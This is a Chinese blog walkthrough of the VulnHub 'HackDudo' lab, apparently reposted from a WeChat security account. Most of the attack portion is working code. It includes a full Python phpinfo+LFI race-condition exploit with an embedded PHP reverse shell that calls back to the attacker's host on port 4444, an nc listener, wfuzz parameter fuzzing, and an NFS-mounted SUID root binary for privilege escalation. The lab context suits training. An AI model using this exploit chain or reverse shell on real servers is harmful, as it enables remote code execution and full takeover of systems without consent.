渗透测试练习No.18 利用phpinfo+LFI(文件包含漏洞)打进主机

 本文首发于微信公众号"伏波路上学安全",喜欢的小伙伴们请关注公众号持续获取新的文章.

声明:文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息

下载地址:https://www.vulnhub.com/entry/hackable-ii,711/

名称: hacksudo系列HackDudo

靶场: VulnHub.com

难度: 简单

发布时间: 2021年3月16日

提示信息: 无

目标: 2个flag

实验环境

攻击机:VMware  kali    192.168.7.3
靶机:Vbox     linux   IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

 

sudo nmap -sP 192.168.7.1/24

扫描到靶机地址为192.168.7.112

端口扫描

端口扫描是扫描目标机器所开放的服务

sudo nmap -sC -sV -p- 192.168.7.112 -oN hackdudo.nmap

扫描到8个开放端口,有80(http),111(rpc),1337(ssh),2049、33007、34515、36697、37453不清楚是什么端口,先来看80端口

Web渗透

访问80端口

http://192.168.7.112

首页信息:下面的提示说站长是Vishal并且在几年前作了一个视频游戏,图片是进入游戏的链接

源码中有些注释,信息包含了.htaccess,apple-touch-icon.png,root目录,domain目录,目前只有这些信息,先做个目录扫描同时看看是什么游戏

目录扫描

dirsearch -u http://192.168.7.112 -e php,html,txt,zip

目录扫描出来很多文件,info.php是phpinfo文件,file.php是一个文件访问的页面,还有一个web目录

看下游戏页面

 http://192.168.7.112/game.html

游戏页面显示不全,而且下面的进度条一直再减少,画面加载后游戏便结束了,这里应该是需要调试JS,先不管他看其他的

Info.php页面

http://192.168.7.112/info.php

这是个phpinfo页面,暴露一些网站根目录apache配置文件等敏感信息

File.php页面

这是个文件页面,应该需要一些fuzz模糊测试找到正确参数

fuzz模糊测试

当攻击者发现一个页面并判断页面需要加参数才能正常访问时,便会用到模糊测试格式为page.php?FUZZ=xxx

wfuzz -c -w ../../../Dict/SecLists-2021.4/Discovery/Web-Content/common-and-french.txt -u http://192.168.7.112/file.php?FUZZ=/etc/passwd -t 1 |grep -v '238 Ch'

拿到参数file测试一下/etc/passwd

http://192.168.7.112/file.php?file=/etc/passwd

找到2个可以登录ssh的帐号root和hacksudo

再来看一下phpinfo信息

可以看到有文件上传权限,有上传有文件包含就可以反弹个shell到攻击机上

phpinfo+LFI(文件包含漏洞)反弹shell

简单介绍一下

原理

  1. php会把post请求, 存储在临时文件中, 并在请求结束后删除临时文件

  2. phpinfo中会显示_FILE变量, 其中会显示临时文件路径

  3. 所以我们通过发送大量的数据请求来拖延php删除临时文件的时间,同时查看FILE得到的临时文件位置,再用LFI漏洞进行包含执行

步骤

  1. 发送post请求到phpinfo, post的内容为一个创建shell文件的payload

  2. 通过有lfi漏洞的页面包含payload, payload被执行然后创建shell文件

  3. 通过lfi页面包含shell文件, 并传参, 从而进行利用

现在可以构造exp脚本来获取shell

exp下载地址:

https://raw.githubusercontent.com/vulhub/vulhub/master/php/inclusion/exp.py

还需要修改一下

将phpinfo.php改成info.php,将lfi.php改成file.php

再将内容替换为反弹shell

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

完整的payload:

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.7.3';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /file.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

payload准备好后就可以在攻击机上监听4444端口

nc -lvvp 4444

开始执行payload

python lfiexp.py 靶机IP 靶机端口 线程数
python lfiexp.py 192.168.7.112 80 100

在发送第276次个数据包时上传成功了

攻击机上出现shell界面,现在切换到可以交互的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

需要切换到完整的可以看之前的文章

查找下敏感信息

sudo -l

SUID提权

sudo -l 需要密码,再换suid

find / -perm -u=s -type f 2>/dev/null

是不是挂载了什么

cd /nmt
ls
cd nfs
ls
cat flag1.txt

拿到第1个flag

看到这个磁盘挂载想起之前扫描的2049端口就是NFS挂载的端口,让我们试着来把他挂载到攻击机上

先建个文件夹

mkdir tmp

再把靶机上的目录挂载到tmp文件夹上

sudo mount -t nfs 192.68.7.112:/mnt/nfs tmp
ls
cd tmp
ls

OK,挂载成功,现在我们需要写个提权文件

1.kali攻击机挂载目录上创建exp文件,并加上s权限

sudo vi exp.c

exp.c内容

#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("/bin/bash");
}

编译加s权限

sudo gcc exp.c -o exp
chmod +s exp

2.靶机上执行exp

./exp

提权成功,查看rootflag

cd /root
ls
cat root.txt

游戏结束,明天见小伙伴们

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: PHP文件包含漏洞是一种常见的Web安全漏洞,攻击者可以利用漏洞通过包含恶意文件来执行任意代码。其中,利用phpinfo函数可以获取服务器的详细信息,包括PHP版本、操作系统、配置文件路径等,攻击者可以利用这些信息来进一步攻击服务器。因此,对于PHP文件包含漏洞,我们需要及时修复漏洞并加强服务器的安全防护措施,以保障网站的安全性。 ### 回答2: php文件包含漏洞是一种常见的Web应用程序漏洞,它允许攻击者在没有正常访问权限的情况下获取Web应用程序的敏感数据和系统资源。利用phpinfo函数,攻击者可以获得关于Web服务器和PHP环境的详细信息,包括内存使用情况、PHP模块的版本、系统路径、配置文件名等等,这些信息可用于进一步攻击或收集有关系统的信息。 通常情况下,php文件包含漏洞产生的原因是由于Web应用程序没有正确的过滤和验证用户输入,并允许用户传递文件名或路径。如果攻击者可以在该位置输入恶意代码,他们就可以通过访问特定的URL,向web服务器请求文件或脚本来执行所需的操作。 对于php文件包含漏洞,攻击者可以利用phpinfo函数来获取大量有关Web服务器和PHP配置的信息。如果攻击者可以获取此信息,他们将更容易地了解Web服务器的配置和缺陷,从而定向和更容易地入侵目标系统。例如,攻击者可以使用所收集到的信息来寻找系统上的其他漏洞,或者在成功入侵后利用该信息来控制服务器,尝试使用系统权限执行任意代码或更改配置。 为了保护Web应用程序安全,我们可以采取以下措施来防止php文件包含漏洞的发生: 1. 使用安全的编程实践来避免不可信数据输入 2. 防止对敏感资源和服务器配置文件的读取 3. 激活PHP配置参数,如open_basedir,以限制PHP访问的目录 4. 限制Web服务器的目录访问权限 5. 定期检查服务器日志来检测异常行为和攻击行为 6. 采用安全的编程方法避免可能的错误,并保持对最新漏洞和安全威胁的关注 php文件包含漏洞可能会导致非常严重的安全问题,所以应采取有效的措施来保护Web应用程序和服务器的安全。通过实践良好的编程实践和安全性控制策略,可以帮助我们保护Web应用程序不受恶意攻击的影响,从而确保我们的数据和系统的安全性。 ### 回答3: PHP文件包含漏洞是一种常见的网络安全漏洞。它的存在导致黑客可以利用这个漏洞通过访问包含文件来执行任意代码并控制整个服务器。 PHP文件包含漏洞的根源在于PHP提供了一种方便的方式来包含另一个文件中的代码,这种方式是通过 include() 或 require() 函数实现的。这些函数接受一个文件名作为参数,然后将该文件中的代码“拷贝并粘贴”到当前的PHP文件中。这个机制的漏洞是黑客可以通过传递带有恶意代码的参数来包含任意文件,这可能是远程服务器上的PHP脚本,也可能是包含恶意代码的本地文件。 PHPInfo是一个php的系统信息函数,负责显示PHP配置和环境信息。这里,黑客可以利用PHPInfo来寻找服务器的弱点,并进一步利用php文件包含漏洞。通过读入php.ini一个配置文件,该函数可以泄漏服务器的所有信息,包括文件路径、数据库密码、服务器版本、PHP版本等等。 黑客可以通过以下步骤来利用php文件包含漏洞phpinfo()函数进一步渗透服务器: 1. 使用phpinfo()函数来获取服务器的系统信息和配置信息 2. 解析得到的信息,寻找PHP文件包含漏洞的存在 3. 通过向include()或require()函数传递恶意文件来执行任意代码并控制服务器 为了避免这些漏洞PHP开发者应该始终验证来自用户的输入。对于文件包含,应该限制包含文件的范围,禁止包含远程文件,并使用白名单来确定包含文件的位置。同时,应该禁用phpinfo()函数或者确保它只在受信任的环境中使用。 维护者还可以使用一些工具例如模糊测试技术、代码审计等来发现并修复这些漏洞。实施彻底的安全措施对于预防这些漏洞的产生非常重要。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值